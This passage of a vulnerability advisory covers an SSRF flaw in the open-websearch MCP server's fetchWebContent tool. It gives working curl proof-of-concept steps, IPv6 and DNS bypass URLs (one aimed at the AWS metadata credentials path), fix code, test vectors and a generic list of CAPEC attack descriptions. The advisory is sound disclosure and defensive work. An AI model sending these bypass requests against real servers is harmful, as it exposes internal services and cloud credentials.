  -d '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' >/dev/null

# call fetchWebContent with the SSRF bypass URL
curl -sS -X POST http://127.0.0.1:3000/mcp \
  -H "Accept: $ACCEPT" -H 'Content-Type: application/json' -H "mcp-session-id: $SID" \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{
        "name":"fetchWebContent",
        "arguments":{"url":"http://[::ffff:7f00:1]:19999/internal","maxChars":10000}
      }}'

Expected result: the canary logs [canary] GET /internal from 127.0.0.1, and the MCP response contains INTERNAL-SECRET: canary-hit for /internal in the tool's content[0].text.

Additional bypass vectors that work the same way:

  • http://[::1]:<port>/ — plain IPv6 loopback.
  • http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/ — AWS EC2 metadata over the IPv4 stack.
  • http://attacker.example/ where attacker.example has A/AAAA pointing at any private address — bypasses via defect (2), no IPv6 trick needed.

Impact

  • Cross-tenant SSRF with full response body. Any client that can speak MCP to the HTTP transport can fetch arbitrary private-network URLs and receive the response body. AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours — all in scope.
  • Pre-auth when enableHttpServer is set. No authentication layer exists on /mcp or /sse; CORS is *.
  • DNS-rebinding / LAN-victim angle. Because /mcp is CORS * and accepts POST, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool's response can be exfiltrated back via a simple XHR.
  • Exploitable over stdio too. Even with HTTP disabled, a compromised or prompt-injected MCP client can call fetchWebContent against loopback on the host running the server — a realistic LLM-agent-abuse vector.

No meaningful mitigation in the call chain: only http:// and https:// schemes are accepted, but that is not a restriction for SSRF.

Suggested fix

Two changes, either of which individually closes most of the gap; both together close it fully.

  1. Normalize the hostname before IP checks, and perform a DNS resolution. Use the ip-address package or a similar canonicalizer, and reject any getaddrinfo result whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before calling isIP().

    ```ts import { lookup } from 'node:dns/promises'; import { Address4, Address6 } from 'ip-address';

    function stripBrackets(h: string): string { return h.startsWith('[') && h.endsWith(']') ? h.slice(1, -1) : h; }

    const BLOCKED_V6_CIDRS = [ '::1/128', '::/128', 'fc00::/7', 'fe80::/10', '2001:db8::/32', '2002::/16', '64:ff9b::/96', '100::/64', 'ff00::/8', '::ffff:0:0/96', // IPv4-mapped — delegate to v4 check ];

    function ipv6IsPrivate(addr6: Address6): boolean { const v4 = addr6.to4(); if (v4 && v4.isValid()) return isPrivateIpv4(v4.address); return BLOCKED_V6_CIDRS.some(cidr => addr6.isInSubnet(new Address6(cidr))); }

    export async function assertPublicHttpUrl(url: URL | string, label = 'URL') { const parsed = typeof url === 'string' ? new URL(url) : url; if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') throw …; const host = stripBrackets(parsed.hostname);

    // Literal IP case. const v = isIP(host); if (v === 4 && isPrivateIpv4(host)) throw …; if (v === 6 && ipv6IsPrivate(new Address6(host))) throw …;

    if (v === 0) { // Hostname — resolve and check every record. const records = await lookup(host, { all: true, verbatim: true }); for (const r of records) { if (r.family === 4 && isPrivateIpv4(r.address)) throw …; if (r.family === 6 && ipv6IsPrivate(new Address6(r.address))) throw …; } } } ```

  2. Dual-pin the connection. Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and axios.get). Use a custom undici Agent whose connect hook validates the actual connected socket IP via socket.remoteAddress. That closes the rebinding window.

  3. Gate the HTTP transport. Require a bearer token (env var) on /mcp and /sse, and restrict binding to 127.0.0.1 by default. CORS * plus no-auth on 0.0.0.0 is the same exposure profile as an unauthenticated open proxy.

Test vectors to add to the suite:

```ts for (const url of [ 'http://[::1]/', 'http://[::]/', 'http://[::ffff:127.0.0.1]/', 'http://[::ffff:7f00:1]/', 'http://[0:0:0:0:0:ffff:127.0.0.1]/', 'http://[0:0:0:0:0:0:0:1]/', 'http://[::0:1]/', 'http://[0:0::1]/', 'http://[::ffff:a00:1]/', 'http://[::ffff:c0a8:1]/', 'http://[::ffff:a9fe:1]/', ]) expect(isPublicHttpUrl(url)).toBe(false);

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "open-websearch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-693",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:51:45Z",
    "nvd_published_at": "2026-05-12T15:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`src/utils/urlSafety.ts` exposes `isPublicHttpUrl` / `assertPublicHttpUrl`, used to gate the MCP `fetchWebContent` tool against private-network targets. The check has two defects that together allow **non-blind SSRF with the response body returned to the caller**:\n\n1. **Bracketed IPv6 literals are never recognized.** Node\u0027s WHATWG `URL.hostname` keeps the surrounding `[\u2026]` for IPv6 literals. `isIP(\"[::1]\")` returns 0 (not 6), so neither `isPrivateIpv4` nor `isPrivateIpv6` is ever called on an IPv6 literal input \u2014 including `[::1]` itself, and including every IPv4-mapped form such as `[::ffff:7f00:1]` (= 127.0.0.1 via the IPv4 stack).\n2. **No DNS resolution.** `isPrivateOrLocalHostname` only inspects the literal `hostname` string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and `axios` then performs its own resolution and connects to the private address.\n\nThe `isPrivateIpv6` implementation also has the hex bypass (it would miss `::ffff:7f00:1` even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.\n\nThe `fetchWebContent` tool returns the response body (`JSON.stringify(result)`) to the MCP caller, so the SSRF is non-blind.\n\n### Details\n\u003c!-- obsidian --\u003e\u003cp\u003e\u003cstrong\u003eVulnerable function\u003c/strong\u003e \u2014 \u003ccode\u003esrc/utils/urlSafety.ts:95-119\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eexport function isPrivateOrLocalHostname(hostname: string): boolean {\n  const host = hostname.trim().toLowerCase();\n  if (!host) return true;\n  if (host === \u0027localhost\u0027 || host.endsWith(\u0027.localhost\u0027)) return true;\n  if (host === \u0027metadata.google.internal\u0027 || host === \u0027metadata.azure.internal\u0027) return true;\n  const integerIp = parseIntegerIpv4Literal(host);\n  if (integerIp \u0026#x26;\u0026#x26; isPrivateIpv4(integerIp)) return true;\n  if (isPrivateOrLocalIp(host)) return true;   // only runs if isIP(host) \u2208 {4, 6}\n  return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eisPrivateOrLocalIp\u003c/code\u003e \u2014 \u003ccode\u003esrc/utils/urlSafety.ts:84-93\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003efunction isPrivateOrLocalIp(ip: string): boolean {\n  const version = isIP(ip);  // returns 0 for \"[::1]\", \"[::ffff:7f00:1]\", any bracketed literal\n  if (version === 4) return isPrivateIpv4(ip);\n  if (version === 6) return isPrivateIpv6(ip);\n  return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eCaller \u2014 \u003ccode\u003esrc/tools/setupTools.ts:252-286\u003c/code\u003e (\u003ccode\u003efetchWebContent\u003c/code\u003e tool):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eserver.tool(\n  fetchWebToolName,  // default: \"fetchWebContent\"\n  \"Fetch content from a public HTTP(S) URL ...\",\n  { url: z.string().url().refine(\n      (url) =\u003e validatePublicWebUrl(url),   // \u2192 isPublicHttpUrl \u2192 isPrivateOrLocalHostname\n      \"URL must be a public HTTP(S) address ...\"\n    ), /* \u2026 */ },\n  async ({url, maxChars}) =\u003e {\n    const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*\u2026*/ });\n    return { content: [{ type: \u0027text\u0027, text: JSON.stringify(result, null, 2) }] };\n  }\n);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eService \u2014 \u003ccode\u003esrc/engines/web/fetchWebContent.ts:313-375\u003c/code\u003e: re-validates via \u003ccode\u003eassertPublicHttpUrl\u003c/code\u003e (same broken check), then calls \u003ccode\u003eaxios.head\u003c/code\u003e + \u003ccode\u003eaxios.get\u003c/code\u003e on the raw URL and returns \u003ccode\u003eresponse.data\u003c/code\u003e and \u003ccode\u003eresponse.headers\u003c/code\u003e to the caller.\u003c/p\u003e\n\u003cp\u003eTransport \u2014 \u003ccode\u003esrc/index.ts:85-253\u003c/code\u003e: when \u003ccode\u003econfig.enableHttpServer\u003c/code\u003e is true (documented configuration; enabled by the Docker image), the MCP server binds on \u003ccode\u003e0.0.0.0:${PORT}\u003c/code\u003e (default \u003ccode\u003e3000\u003c/code\u003e) with CORS \u003ccode\u003eorigin: \u0027*\u0027\u003c/code\u003e and \u003cstrong\u003eno authentication\u003c/strong\u003e on \u003ccode\u003e/mcp\u003c/code\u003e (Streamable HTTP) or \u003ccode\u003e/sse\u003c/code\u003e (legacy SSE). Anyone who can reach the port can invoke any tool.\u003c/p\u003e\n\u003ch3 data-heading=\"Verification of the validator (run against current \u0026#x60;HEAD\u0026#x60;)\"\u003eVerification of the validator (run against current \u003ccode\u003eHEAD\u003c/code\u003e)\u003c/h3\u003e\n\u003cp\u003eI executed the real \u003ccode\u003eisPublicHttpUrl\u003c/code\u003e / \u003ccode\u003eassertPublicHttpUrl\u003c/code\u003e from \u003ccode\u003esrc/utils/urlSafety.ts\u003c/code\u003e under \u003ccode\u003etsx\u003c/code\u003e against a set of inputs:\u003c/p\u003e\n\nInput URL | parsed.hostname | isPublicHttpUrl | assertPublicHttpUrl\n-- | -- | -- | --\nhttp://[::ffff:7f00:1]/ (127.0.0.1) | [::ffff:7f00:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::ffff:a9fe:1]/ (169.254.0.1) | [::ffff:a9fe:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::ffff:a00:1]/ (10.0.0.1) | [::ffff:a00:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::ffff:127.0.0.1]/ | [::ffff:7f00:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[0:0:0:0:0:0:0:1]/ | [::1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::1]/ (plain loopback!) | [::1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://127.0.0.1/ (control) | 127.0.0.1 | false (blocked) | threw (blocked)\nhttp://localhost/ (control) | localhost | false (blocked) | threw (blocked)\n\n\n\u003cp\u003eWHATWG \u003ccode\u003enew URL(\"http://[::ffff:127.0.0.1]/\").hostname\u003c/code\u003e returns \u003ccode\u003e[::ffff:7f00:1]\u003c/code\u003e \u2014 note that Node\u0027s URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.\u003c/p\u003e\n\u003ch3 data-heading=\"Verification of the fetch (Node 22/25)\"\u003eVerification of the fetch (Node 22/25)\u003c/h3\u003e\n\u003cp\u003eI bound a trivial HTTP server to \u003ccode\u003e127.0.0.1:29999\u003c/code\u003e and called \u003ccode\u003eaxios.get(\"http://[::ffff:7f00:1]:29999/\")\u003c/code\u003e from Node; the request reached the server:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e  HIT: / from 127.0.0.1 family IPv4\nhttp://[::ffff:7f00:1]:29999/ -\u003e 200 \u0026#x3C;html\u003einternal content\u0026#x3C;/html\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe OS routes \u003ccode\u003e::ffff:X.X.X.X\u003c/code\u003e connections through the IPv4 stack, so the PoC works identically across macOS and Linux.\u003c/p\u003e\n\nEnvironment: clean clone of `Aas-ee/open-webSearch@HEAD`, Node 22+.\n\n**1. Start the MCP HTTP server.**\n\n```bash\ngit clone https://github.com/Aas-ee/open-webSearch.git\ncd open-webSearch\nnpm install \u0026\u0026 npm run build\nMODE=http PORT=3000 node build/index.js \u0026\n```\n\n**2. Stand up a canary on loopback.**\n\n```bash\nnode -e \u0027\n  require(\"http\").createServer((q,r)=\u003e{\n    console.log(\"[canary]\", q.method, q.url, \"from\", q.socket.remoteAddress);\n    r.writeHead(200, {\"content-type\":\"text/html\"});\n    r.end(\"INTERNAL-SECRET: canary-hit for \" + q.url);\n  }).listen(19999, \"127.0.0.1\", () =\u003e console.log(\"canary on 127.0.0.1:19999\"));\n\u0027 \u0026\n```\n\n**3. Open an MCP session and call `fetchWebContent` with the bypass URL.**\n\n```bash\n# Accept header must include both JSON and SSE for Streamable HTTP transport.\nACCEPT=\u0027application/json, text/event-stream\u0027\n\n# initialize \u2192 grab the mcp-session-id header\nSID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0\"}}}\u0027 \\\n  | awk \u0027tolower($1)==\"mcp-session-id:\" { gsub(/\\r/,\"\"); print $2 }\u0027)\n\n# notifications/initialized\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H \u0027Content-Type: application/json\u0027 -H \"mcp-session-id: $SID\" \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}\u0027 \u003e/dev/null\n\n# call fetchWebContent with the SSRF bypass URL\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H \u0027Content-Type: application/json\u0027 -H \"mcp-session-id: $SID\" \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\n        \"name\":\"fetchWebContent\",\n        \"arguments\":{\"url\":\"http://[::ffff:7f00:1]:19999/internal\",\"maxChars\":10000}\n      }}\u0027\n```\n\nExpected result: the canary logs `[canary] GET /internal from 127.0.0.1`, and the MCP response contains `INTERNAL-SECRET: canary-hit for /internal` in the tool\u0027s `content[0].text`.\n\nAdditional bypass vectors that work the same way:\n\n- `http://[::1]:\u003cport\u003e/` \u2014 plain IPv6 loopback.\n- `http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/` \u2014 AWS EC2 metadata over the IPv4 stack.\n- `http://attacker.example/` where `attacker.example` has A/AAAA pointing at any private address \u2014 bypasses via defect (2), no IPv6 trick needed.\n\n### Impact\n\n- **Cross-tenant SSRF with full response body.** Any client that can speak MCP to the HTTP transport can fetch arbitrary private-network URLs and receive the response body. AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours \u2014 all in scope.\n- **Pre-auth when `enableHttpServer` is set.** No authentication layer exists on `/mcp` or `/sse`; CORS is `*`.\n- **DNS-rebinding / LAN-victim angle.** Because `/mcp` is CORS `*` and accepts `POST`, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool\u0027s response can be exfiltrated back via a simple XHR.\n- **Exploitable over stdio too.** Even with HTTP disabled, a compromised or prompt-injected MCP client can call `fetchWebContent` against loopback on the host running the server \u2014 a realistic LLM-agent-abuse vector.\n\nNo meaningful mitigation in the call chain: only `http://` and `https://` schemes are accepted, but that is not a restriction for SSRF.\n\n### Suggested fix\n\nTwo changes, either of which individually closes most of the gap; both together close it fully.\n\n1. **Normalize the hostname before IP checks, and perform a DNS resolution.** Use the `ip-address` package or a similar canonicalizer, and reject any `getaddrinfo` result whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before calling `isIP()`.\n\n    ```ts\n    import { lookup } from \u0027node:dns/promises\u0027;\n    import { Address4, Address6 } from \u0027ip-address\u0027;\n\n    function stripBrackets(h: string): string {\n      return h.startsWith(\u0027[\u0027) \u0026\u0026 h.endsWith(\u0027]\u0027) ? h.slice(1, -1) : h;\n    }\n\n    const BLOCKED_V6_CIDRS = [\n      \u0027::1/128\u0027, \u0027::/128\u0027,\n      \u0027fc00::/7\u0027, \u0027fe80::/10\u0027,\n      \u00272001:db8::/32\u0027, \u00272002::/16\u0027, \u002764:ff9b::/96\u0027,\n      \u0027100::/64\u0027, \u0027ff00::/8\u0027,\n      \u0027::ffff:0:0/96\u0027,   // IPv4-mapped \u2014 delegate to v4 check\n    ];\n\n    function ipv6IsPrivate(addr6: Address6): boolean {\n      const v4 = addr6.to4();\n      if (v4 \u0026\u0026 v4.isValid()) return isPrivateIpv4(v4.address);\n      return BLOCKED_V6_CIDRS.some(cidr =\u003e addr6.isInSubnet(new Address6(cidr)));\n    }\n\n    export async function assertPublicHttpUrl(url: URL | string, label = \u0027URL\u0027) {\n      const parsed = typeof url === \u0027string\u0027 ? new URL(url) : url;\n      if (parsed.protocol !== \u0027http:\u0027 \u0026\u0026 parsed.protocol !== \u0027https:\u0027) throw \u2026;\n      const host = stripBrackets(parsed.hostname);\n\n      // Literal IP case.\n      const v = isIP(host);\n      if (v === 4 \u0026\u0026 isPrivateIpv4(host)) throw \u2026;\n      if (v === 6 \u0026\u0026 ipv6IsPrivate(new Address6(host))) throw \u2026;\n\n      if (v === 0) {\n        // Hostname \u2014 resolve and check every record.\n        const records = await lookup(host, { all: true, verbatim: true });\n        for (const r of records) {\n          if (r.family === 4 \u0026\u0026 isPrivateIpv4(r.address)) throw \u2026;\n          if (r.family === 6 \u0026\u0026 ipv6IsPrivate(new Address6(r.address))) throw \u2026;\n        }\n      }\n    }\n    ```\n\n2. **Dual-pin the connection.** Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and `axios.get`). Use a custom `undici` `Agent` whose `connect` hook validates the actual connected socket IP via `socket.remoteAddress`. That closes the rebinding window.\n\n3. **Gate the HTTP transport.** Require a bearer token (env var) on `/mcp` and `/sse`, and restrict binding to `127.0.0.1` by default. CORS `*` plus no-auth on `0.0.0.0` is the same exposure profile as an unauthenticated open proxy.\n\nTest vectors to add to the suite:\n\n```ts\nfor (const url of [\n  \u0027http://[::1]/\u0027, \u0027http://[::]/\u0027,\n  \u0027http://[::ffff:127.0.0.1]/\u0027, \u0027http://[::ffff:7f00:1]/\u0027,\n  \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027,\n  \u0027http://[0:0:0:0:0:0:0:1]/\u0027, \u0027http://[::0:1]/\u0027, \u0027http://[0:0::1]/\u0027,\n  \u0027http://[::ffff:a00:1]/\u0027, \u0027http://[::ffff:c0a8:1]/\u0027, \u0027http://[::ffff:a9fe:1]/\u0027,\n]) expect(isPublicHttpUrl(url)).toBe(false);",
  "id": "GHSA-v228-72c7-fx8j",
  "modified": "2026-05-13T16:24:33Z",
  "published": "2026-05-05T20:51:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42260"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Aas-ee/open-webSearch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "open-websearch has SSRF in `fetchWebContent` MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass `isPrivateOrLocalHostname`"
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.